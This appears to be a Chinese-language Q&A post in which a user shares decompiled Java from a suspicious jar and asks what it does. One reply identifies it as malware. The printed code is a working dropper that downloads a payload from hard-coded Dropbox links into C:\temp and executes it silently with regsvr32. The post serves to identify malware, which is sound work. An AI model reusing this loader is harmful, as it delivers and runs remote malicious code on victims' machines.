【发布时间】:2014-06-24 11:39:11
【问题描述】:
这是我刚刚得到的一个jar可执行文件。它看起来像某种病毒。窃取密码。我想。但我不知道它实际上做了什么。我通过软件对其进行解码并获得了代码。 那么有人可以看看这段代码(不要运行它)并解释一下这段代码中实际做了什么吗?
public static void Run() throws IOException
{
int i = 3;
while (i < 9)
{
Runtime.getRuntime().exec("regsvr32 /s C:\\temp\\YQJHBJX.PWY");
i++;
}
}
public static void main(String[] args) throws Exception
{
new File("C:\\temp\\").mkdir();
File localFile = new File("C:\\temp\\YQJHBJX.PWY");
if (localFile.exists())
{
Run();
}
else
{
String[] arrayOfString1 = "f6pb6ya5e5vc0q5/d.dat?dl=1@@@21urb4zg9n2on4s/d.dat?dl=1".split("@@@");
for (String str1 : arrayOfString1)
{
URL localURL = new URL("https://dl.dropboxusercontent.com/s/" + str1);
HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
localHttpURLConnection.connect();
if (localHttpURLConnection.getResponseCode() / 100 == 2)
{
String str2 = "https://dl.dropboxusercontent.com/s/"+ str1;
String str3 = "C:\\temp\\YQJHBJX.PWY";
goToWeb(str2, str3);
break;
}
}
}
}
public static void goToWeb(String paramString1, String paramString2) throws IOException
{
System.out.println(paramString1);
System.out.println(paramString2);
InputStream localInputStream = URI.create(paramString1).toURL().openStream();
Files.copy(localInputStream, Paths.get(paramString2, new String[0]), new CopyOption[0]);
Run();
}
【问题讨论】:
-
是的,这看起来确实像恶意软件。摆脱它。给你的机器一个很好的清洁。如果您需要这方面的帮助,Super User 会是一个更好的网站 - 首先在那里进行一些研究,以便对您的计算机进行急救。
标签: java file url path connection